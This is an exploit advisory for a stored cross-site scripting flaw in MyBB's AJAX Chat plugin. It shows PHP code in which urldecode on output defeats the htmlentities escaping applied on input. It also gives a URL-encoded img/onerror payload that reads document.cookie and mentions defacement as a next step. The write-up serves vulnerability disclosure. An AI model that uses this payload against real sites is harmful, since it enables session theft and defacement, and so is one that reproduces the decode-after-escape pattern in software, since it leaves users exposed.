# Title: MyBB AJAX Chat Persistent XSS Vulnerability
# Date: 12/12/2012
# Exploit Author: Mr. P-teo
# Vendor Homepage: http://www.mybb.com/
# Software Link: http://mods.mybb.com/view/ajax-chat
# Version: 1
# Tested on: Windows
The Persistent XSS vulnerability lies within the chat_frame.php page.
*************************************** Persistent / Stored XSS **************************************
Although the message is filter with the htmlentities function below.
<?php
$db->insert_query($tbl, array('uid' => $mybb->user['uid'], 'message' => $db->escape_string(htmlentities($message)), 'date' => time()));
?>
The vulnerability occurs with the use of the urldecode function, allowing us to bypass the htmlentities with url encoding.
<?php
$msg = urldecode($row["message"]);
?>
The vulnerability can be exploited via the following line, decoded as - "><img src="XSS" onerror="alert(document.cookie)" />
%22%3E%3Cimg%20src%3D%22XSS%22%20onerror%3D%22alert(document.cookie)%22%20%2F%3E%0A
This can be expanded on with defaces etc, alert is just a basic example.
Brought to you be Mr. P-teo.
Twitter: http://twitter.com/MrPteo
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